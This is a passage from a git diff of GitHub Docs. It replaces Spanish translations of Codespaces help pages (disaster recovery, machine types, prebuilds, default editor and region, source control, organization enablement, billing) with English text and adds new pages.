Cloud](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia) +- [Google Cloud Container Registry](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US), `eu.gcr.io` (EU), `asia.gcr.io` (Asia) #### Accessing AWS Elastic Container Registry diff --git a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md index a40e9fece0..71bac5b61d 100644 --- a/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md +++ b/translations/es-ES/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md @@ -1,51 +1,51 @@ --- -title: Recuperación de desastres para los codespaces -intro: 'Este artículo describe la guía para una situación de recuperación de desastres, cuando toda una región experimenta una interrupción debido a un desastre natural mayor o una interrupción de servicios extendida.' +title: Disaster recovery for Codespaces +intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.' versions: fpt: '*' ghec: '*' product: '{% data reusables.gated-features.codespaces %}' topics: - Codespaces -shortTitle: Recuperación de desastres +shortTitle: Disaster recovery --- -Nos esforzamos para asegurarnos de que {% data variables.product.prodname_codespaces %} siempre esté disponible. Sin embargo, por causas de fuerza mayor que salen de nuestro control, algunas veces se impacta el servicio en formas qeu pueden causar interrupciones de servicio no planeadas. +We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions. -Aunque los casos de recuperación de desastres son ocurrencias extraordinarias, te recomendamos que te prepares para la posibilidad de que exista una interrupción en una región entera. Si una región completa experimenta una interrupción de servicio, las copias locales redundantes de tus datos se encontrarán temporalmente no disponibles. +Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable. -La siguiente orientación proporciona opciones sobre cómo manejar la interrupción del servicio para toda la región en donde se desplegó tu codespace. +The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed. {% note %} -**Nota:** Puedes reducir el impacto potencial de las interrupciones a lo largo del servicio si haces subidas frecuentes a los repositorios remotos. +**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently. {% endnote %} -## Opción 1: Crea un codespace nuevo en otra región +## Option 1: Create a new codespace in another region -En caso de que haya una interrupción regional, te sugerimos volver a crear tu codespace en una región no afectada para seguir trabajando. Este codespace nuevo tendrá todos los cambios desde tu última subida en {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." +In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)." -Puedes optimizar el tiempo de recuperación si configuras un `devcontainer.json` en el repositorio de un proyecto, el cual te permita definir las herramientas, tiempos de ejecución, configuración del editor, extensiones y otros tipos de configuración necesarios para restablecer el ambiente de desarrollo automáticamente. Para obtener más información, consulta la sección "[Configurar Codespaces para tu proyecto](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)". +You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)." -## Opción 2: esperar para la recuperación +## Option 2: Wait for recovery -En este caso, no se requiere que tomes acción alguna. Debes saber que estamos trabajando diligentemente para restaurar la disponibilidad del servicio. +In this case, no action on your part is required. Know that we are working diligently to restore service availability. -Puedes verificar el estado de servicio actual en el [Tablero de estado](https://www.githubstatus.com/). +You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/). -## Opción 3: Clona el repositorio localmente o edítalo en el buscador +## Option 3: Clone the repository locally or edit in the browser -Mientras que los {% data variables.product.prodname_codespaces %} proporcinan el beneficio de un ambiente de desarrollador pre-configurado, siempre debe poderse acceder a tu código mediante el repositorio que se hospeda en {% data variables.product.prodname_dotcom_the_website %}. En caso de que haya una interrupción de un {% data variables.product.prodname_codespaces %}, aún podrás clonar el repositorio localmente o los archivos de edición en el editor del buscador de {% data variables.product.company_short %}. Para obtener más información, consulta la sección "[Editar archivos](/repositories/working-with-files/managing-files/editing-files)". +While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)." -Si bien esta opción no te configura un ambiente de desarrollo, te permitirá hacer cambios a tu código fuente conforme los necesites mientras esperas a que se resuelva la interrupción del servicio. +While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve. -## Opción 4: Utiliza los contenedores remotos y Docker para crear un ambiente contenido local +## Option 4: Use Remote-Containers and Docker for a local containerized environment -Si tu repositorio tiene un `devcontainer.json`, considera utilizar la [extensión de contenedores remotos](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) en Visual Studio Code para crear y adjuntarlo a un contenedor de desarrollo logal para tu repositorio. El tiempo de configuración para esta opción variará dependiendo de tus especificaciones locales y de la complejidad de tu configuración de contenedor dev. +If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup. {% note %} -**Nota:** Asegúrate de que tu configuración local cumple con los [requisitos mínimos](https://code.visualstudio.com/docs/remote/containers#_system-requirements) antes de intentar utilizar esta opción. +**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option. {% endnote %} diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md new file mode 100644 index 0000000000..34ad12301c --- /dev/null +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md @@ -0,0 +1,63 @@ +--- +title: Changing the machine type for your codespace +shortTitle: Change the machine type +intro: 'You can change the type of machine that''s running your codespace, so that you''re using resources appropriate for work you''re doing.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/developing-in-codespaces/changing-the-machine-type-for-your-codespace +topics: + - Codespaces +--- + +## About machine types + +{% note %} + +**Note:** You can only select or change the machine type if you are a member of an organization using {% data variables.product.prodname_codespaces %} and are creating a codespace on a repository owned by that organization. + +{% endnote %} + +{% data reusables.codespaces.codespaces-machine-types %} + +You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. + +For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." +For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)." + +## Changing the machine type in {% data variables.product.prodname_dotcom %} + +{% data reusables.codespaces.your-codespaces-procedure-step %} + + The current machine type for each of your codespaces is displayed. + + !['Your codespaces' list](/assets/images/help/codespaces/your-codespaces-list.png) + +1. Click the ellipsis (**...**) to the right of the codespace you want to modify. +1. Click **Change machine type**. + + !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png) + +1. Choose the required machine type. + +2. Click **Update codespace**. + + The change will take effect the next time your codespace restarts. + +## Force an immediate update of a currently running codespace + +If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart. + +1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. + + ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png) + +1. From the options that are displayed at the top of the page select **Codespaces: Stop Current Codespace**. + + !['Suspend Current Codespace' option](/assets/images/help/codespaces/suspend-current-codespace.png) + +1. After the codespace is stopped, click **Restart codespace**. + + ![Click 'Resume'](/assets/images/help/codespaces/resume-codespace.png) diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md b/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md index cb3a69148b..0351991d3e 100644 --- a/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md @@ -1,6 +1,6 @@ --- -title: Pre-compilar Codespaces para tu proyecto -intro: Puedes configurar tu proyecto para que pre-configure un codespace automáticamente cada que subes un cambio a tu repositorio. +title: Prebuilding Codespaces for your project +intro: You can configure your project to prebuild a codespace automatically each time you push a change to your repository. versions: fpt: '*' ghec: '*' @@ -10,17 +10,17 @@ topics: - Set up - Fundamentals product: '{% data reusables.gated-features.codespaces %}' -shortTitle: Pre-compilar los Codespaces +shortTitle: Prebuild Codespaces --- {% note %} -**Nota:** Esta característica actualmente se encuentra en vista previa. +**Note:** This feature is currently in private preview. {% endnote %} -## Acerca de pre-compilar un Codespace +## About prebuilding a Codespace -El Pre-compilar tu codespace te permite ser más productivo y acceder a tu codespace más rápido. Esto es porque cualquier tipo de código fuente, extensiones de editor, dependencias de proyecto, comandos o configuraciones ya se habrán descargado, instalad y aplicado antes de que comiences tu sesión de desarrollo. Una vez que subes los cambios a tu repositorio, {% data variables.product.prodname_codespaces %} maneja automáticamente la configuración de compilaciones. +Prebuilding your codespaces allows you to be more productive and access your codespace faster. This is because any source code, editor extensions, project dependencies, commands, or configurations have already been downloaded, installed, and applied before you begin your coding session. Once you push changes to your repository, {% data variables.product.prodname_codespaces %} automatically handles configuring the builds. -La capacidad de pre-compilar un Codespace actualmente se encuentra en vista previa privada. Para obtener acceso a esta característica, contacta a codespaces@github.com. +The ability to prebuild Codespaces is currently in private preview. To get access to this feature, contact codespaces@github.com. diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md new file mode 100644 index 0000000000..9debd30369 --- /dev/null +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md @@ -0,0 +1,26 @@ +--- +title: Setting your default editor for Codespaces +intro: 'You can set your default editor for {% data variables.product.prodname_codespaces %} in your personal settings page.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-editor-for-codespaces +topics: + - Codespaces +shortTitle: Set the default editor +--- + +On the settings page, you can set your editor preference so that any newly created codespaces are opened automatically in either {% data variables.product.prodname_vscode %} for Web or the {% data variables.product.prodname_vscode %} desktop application. + +If you want to use {% data variables.product.prodname_vscode %} as your default editor for {% data variables.product.prodname_codespaces %}, you need to install {% data variables.product.prodname_vscode %} and the {% data variables.product.prodname_github_codespaces %} extension for {% data variables.product.prodname_vscode %}. For more information, see the [download page for {% data variables.product.prodname_vscode %}](https://code.visualstudio.com/download/) and the [{% data variables.product.prodname_github_codespaces %} extension on the {% data variables.product.prodname_vscode %} marketplace](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces). + +## Setting your default editor + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Editor preference", select the option you want. + ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) + If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. + ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png) diff --git a/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md new file mode 100644 index 0000000000..cf9127a3d0 --- /dev/null +++ b/translations/es-ES/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md @@ -0,0 +1,23 @@ +--- +title: Setting your default region for Codespaces +intro: 'You can set your default region in the {% data variables.product.prodname_github_codespaces %} profile settings page to personalize where your data is held.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' + ghec: '*' +redirect_from: + - /codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces +topics: + - Codespaces +shortTitle: Set the default region +--- + +You can manually select the region that your codespaces will be created in, allowing you to meet stringent security and compliance requirements. By default, your region is set automatically, based on your location. + +## Setting your default region + +{% data reusables.user_settings.access_settings %} +{% data reusables.user_settings.codespaces-tab %} +1. Under "Region", select the setting you want. +2. If you chose "Set manually", select your region in the drop-down list. + ![Selecting your region](/assets/images/help/codespaces/select-default-region.png) diff --git a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md index 087cd2d8e8..9840e7b32f 100644 --- a/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md +++ b/translations/es-ES/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md @@ -1,6 +1,6 @@ --- -title: Utilizar el control de código fuente en tu codespace -intro: 'Después de hacer cambios en un archivo de tu codespace, puedes confirmar los cambios rápidamente y subir tu actualización al repositorio remoto.' +title: Using source control in your codespace +intro: After making changes to a file in your codespace you can quickly commit the changes and push your update to the remote repository. product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -10,68 +10,73 @@ topics: - Codespaces - Fundamentals - Developer -shortTitle: Control origen +shortTitle: Source control --- -## Acerca del control de código fuente en {% data variables.product.prodname_codespaces %} +## About source control in {% data variables.product.prodname_codespaces %} -Puedes llevar a cabo todas las acciones de Git que necesites directamente dentro de tu codespace. Por ejemplo, puedes recuperar cambios del repositorio remoto, cambiar de rama, crear una rama nueva, confirmar y subir cambios y crear solicitudes de cambios. Puedes utilizar la terminal integrada dentro de tu codespace para ingresar comandos de Git o puedes hacer clic en los iconos u opciones de menú para completar las tareas más comunes de Git. Esta guía te explica cómo utilizar la interface de usuario gráfica para el control de código fuente. +You can perform all the Git actions you need directly within your codespace. For example, you can fetch changes from the remote repository, switch branches, create a new branch, commit and push changes, and create a pull request. You can use the integrated terminal within your codespace to enter Git commands, or you can click icons and menu options to complete all the most common Git tasks. This guide explains how to use the graphical user interface for source control. -El control de fuentes en {% data variables.product.prodname_github_codespaces %} utiliza el mismo flujo de trabajo que {% data variables.product.prodname_vscode %}. Para obtener más información, consulta la sección de la documentación de {% data variables.product.prodname_vscode %} "[Utilizar el control de versiones en VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)". +Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)." -Un flujo de trabajo típico para actualizar un archivo utilizando {% data variables.product.prodname_github_codespaces %} sería: +A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be: -* Desde la rama predeterminada de tu repositorio en {% data variables.product.prodname_dotcom %}, crea un codespace. Consulta la sección "[Crear un codespace](/codespaces/developing-in-codespaces/creating-a-codespace)". -* En tu codespace, crea una rama nueva para trabajar en ella. -* Haz tus cambios y guárdalos. -* Confirma el cambio. -* Levanta una solicitud de cambios. +* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)." +* In your codespace, create a new branch to work on. +* Make your changes and save them. +* Commit the change. +* Raise a pull request. -## Crear o cambiar de rama +## Creating or switching branches {% data reusables.codespaces.create-or-switch-branch %} {% tip %} -**Tip**: Si alguien cambió un archivo en el repositorio remoto, en la rama a la cual te cambiaste, no verás estos cambios hasta que los extraigas hacia tu codespace. +**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. {% endtip %} -## Extraer cambios del repositorio remoto +## Pulling changes from the remote repository -Puedes extraer cambios del repositorio remoto hacia tu codespace en cualquier momento. +You can pull changes from the remote repository into your codespace at any time. {% data reusables.codespaces.source-control-display-dark %} -1. En la parte superior de la barra lateral, haz clic en los puntos suspensivos (**...**). ![Botón de puntos suspensivos para las acciones de "más" y "ver"](/assets/images/help/codespaces/source-control-ellipsis-button.png) -1. En el menú desplegable, haz clic en **Extraer**. +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png) +1. In the drop-down menu, click **Pull**. -Si el la configuración del contenedor dev cambió desde que creaste el codespace, puedes aplicar los cambios si recompilas el contenedor para el codespace. Para obtener más información, consulta la sección "[Configurar Codespaces para tu proyecto](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)". +If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)." -## Configurar tu codespace para que recupere los cambios nuevos automáticamente +## Setting your codespace to automatically fetch new changes -Puedes configurar tu codespace para que recupere automáticamente los detalles de cualquier confirmación nueva que se haya hecho al repositorio remoto. Esto te permite ver si tu copia local del repositorio está desactualizada, en cuyo caso, podrías elegir extraer los cambios nuevos. +You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. -Si la operación de búsqueda detecta cambios nuevos en el repositorio remoto, verás la cantidad de confirmaciones nuevas en la barra de estado. Luego podrás extraer los cambios en tu copia local. +If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy. -1. Haz clic en el botón de **Administrar** en la parte inferior de la barra de actividad. ![Botón de administrar](/assets/images/help/codespaces/manage-button.png) -1. En el menú, haz clic en **Ajustes**. -1. En la página de ajustes, busca: `autofetch`. ![Buscar la recuperación automática](/assets/images/help/codespaces/autofetch-search.png) -1. Para recuperar los detalles de las actualizaciones para todos los remotos registrados para el repositorio actual, configura **Git: Autofetch** en `all`. ![Habilitar la recuperación automática en Git](/assets/images/help/codespaces/autofetch-all.png) -1. Si quieres cambiar la cantidad de segundos entre cada recuperación automática, edita el valor de **Git: Autofetch Period**. +1. Click the **Manage** button at the bottom of the Activity Bar. +![Manage button](/assets/images/help/codespaces/manage-button.png) +1. In the menu, slick **Settings**. +1. On the Settings page, search for: `autofetch`. +![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png) +1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`. +![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png) +1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**. -## Configramr tus cambios +## Committing your changes -{% data reusables.codespaces.source-control-commit-changes %} +{% data reusables.codespaces.source-control-commit-changes %} -## Levantar una solicitud de cambios +## Raising a pull request -{% data reusables.codespaces.source-control-pull-request %} +{% data reusables.codespaces.source-control-pull-request %} -## Subir cambios a tu repositorio remoto +## Pushing changes to your remote repository -Puedes subir los cambios que has hecho. Esto aplica a aquellos de la rama ascendente en el repositorio remoto. Puede que necesites hacer eso si aún no estás listo para crear una solicitud de cambios o si prefieres crearla en {% data variables.product.prodname_dotcom %}. +You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}. -1. En la parte superior de la barra lateral, haz clic en los puntos suspensivos (**...**). ![Botón de puntos suspensivos para las acciones de "más" y "ver"](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) -1. En el menú desplegable, haz clic en **Subir**. +1. At the top of the side bar, click the ellipsis (**...**). +![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png) +1. In the drop-down menu, click **Push**. diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md index 4fedec9e62..f534a02538 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md @@ -1,7 +1,7 @@ --- -title: Habilitar los Codespaces para tu organización -shortTitle: Habilitar los Codespaces -intro: 'Puedes controlar qué usuarios de tu organización pueden utilizar {% data variables.product.prodname_codespaces %}.' +title: Enabling Codespaces for your organization +shortTitle: Enable Codespaces +intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.' redirect_from: @@ -17,39 +17,40 @@ topics: --- -## Acerca de cómo habilitar los {% data variables.product.prodname_codespaces %} para tu organización +## About enabling {% data variables.product.prodname_codespaces %} for your organization -Los propietarios de organización pueden controlar qué usuarios de tu organización pueden crear y utilizar codespaces. +Organization owners can control which users in your organization can create and use codespaces. -Para utilizar codespaces en tu organización, debes hacer lo siguiente: +To use codespaces in your organization, you must do the following: -- Asegurarte de que los usuarios tengan [por lo menos acceso de escritura](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) en los repositorios en donde quieren utilizar un codespace. -- [Habilitar los {% data variables.product.prodname_codespaces %} para los usuarios en tu organización](#configuring-which-users-in-your-organization-can-use-codespaces). Puedes elegir permitir los {% data variables.product.prodname_codespaces %} para los usuarios seleccionados o únicamente para los usuarios específicos. -- [Configurar un límite de gastos](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. +- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users. +- [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces) +- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)." -Predeterminadamente, un codespace solo puede acceder al repositorio desde el cual se creó. Si quieres que los codespaces de tu organización puedan acceder a otros repositorios de organización a los que puede acceder el creador de dichos codespaces, consulta la sección "[Administrar el acceso y la seguridad de los {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)". +By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)." -## Habilitar los {% data variables.product.prodname_codespaces %} para los usuarios en tu organización +## Enable {% data variables.product.prodname_codespaces %} for users in your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. Debajo de "Permisos de usuario", selecciona una de las siguientes opciones: +1. Under "User permissions", select one of the following options: - * **Permitir para todos los usuarios** para permitir que todos los miembros de tu organización utilicen los {% data variables.product.prodname_codespaces %}. - * **Usuarios selectos** para seleccionar miembros específicos de la organización que puedan utilizar {% data variables.product.prodname_codespaces %}. + * **Allow for all users** to allow all your organization members to use {% data variables.product.prodname_codespaces %}. + * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}. - ![Botones radiales de "Permisos de usuario"](/assets/images/help/codespaces/organization-user-permission-settings.png) + ![Radio buttons for "User permissions"](/assets/images/help/codespaces/organization-user-permission-settings.png) -## Inhabilitar los {% data variables.product.prodname_codespaces %} para tu organización +## Disabling {% data variables.product.prodname_codespaces %} for your organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. Debajo de "Permisos de usuario", selecciona **Inhabilitado**. +1. Under "User permissions", select **Disabled**. -## Configurar un límite de gastos +## Setting a spending limit -{% data reusables.codespaces.codespaces-spending-limit-requirement %} +{% data reusables.codespaces.codespaces-spending-limit-requirement %} -Para obtener más información sobre cómo administrar y cambiar el límite de gastos de tu organización, consulta la sección "[Administrar tu límite de gastos para {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)". +For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md index accbd8ef29..1df624ccef 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md @@ -1,7 +1,7 @@ --- -title: Administrar la facturación para los Codespaces en tu organización -shortTitle: Administrar la facturación para los Codespaces -intro: 'Puedes verificar tu uso de {% data variables.product.prodname_codespaces %} y configurar los límites de uso.' +title: Managing billing for Codespaces in your organization +shortTitle: Manage billing +intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.' versions: @@ -13,36 +13,36 @@ topics: - Billing --- -## Resumen +## Overview -Para aprender más sobre los precios de los {% data variables.product.prodname_codespaces %}, consulta la sección "[precios de los {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)". +To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)." {% data reusables.codespaces.codespaces-billing %} -- Como propietario o gerente de facturación de una organización, puedes administrar la facturación de {% data variables.product.prodname_codespaces %} para tu organización: ["Acerca de la facturación para Codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces) +- As an an organization owner or a billing manager you can manage {% data variables.product.prodname_codespaces %} billing for your organization: ["About billing for Codespaces"](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces) -- Hay una guía para los usuarios que explica cómo funciona la facturación: ["Entender la facturación para los Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces) +- For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces) -## Límites de uso +## Usage limits -Puedes configurar el límite de uso de los codespaces en tu organización o repositorio. Este límite se aplica al uso de cálculo y almacenamiento de {% data variables.product.prodname_codespaces %}: +You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}: + +- **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)." -- **Minutos de cálculo:** El uso de cálculo se obtiene con la cantidad actual de minutos que utilizan todas las instancias de {% data variables.product.prodname_codespaces %} mientras están activas. Estos totales se reportan al servicio de facturación diariamente y se cobran mensualmente. Puedes configurar un límite de gastos para el uso de {% data variables.product.prodname_codespaces %} en tu organización. Para obtener más información, consulta la sección "[Administrar los límites de gastos para los Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)". +- **Storage usage:** For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)." -- **Uso de almacenamiento:** Para propósitos de facturación de {% data variables.product.prodname_codespaces %}, esto incluye todo el almacenamiento que se utiliza en todos los codespaces de tu cuenta. Esto incluye todos los que utilizan los codespaces, tales como los repositorios clonados, archivos de configuración y extensiones, entre otros. Estos totales se reportan al servicio de facturación diariamente y se cobran mensualmente. Al final del mes, {% data variables.product.prodname_dotcom %} redondea tu almacenamiento al número de MB más cercano. Para verificar cuántos minutos de cálculo y GB de almacenamiento ha utilizado cualquier {% data variables.product.prodname_codespaces %}, consulta la sección "[Ver tu uso de Codespaces](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)". +## Disabling 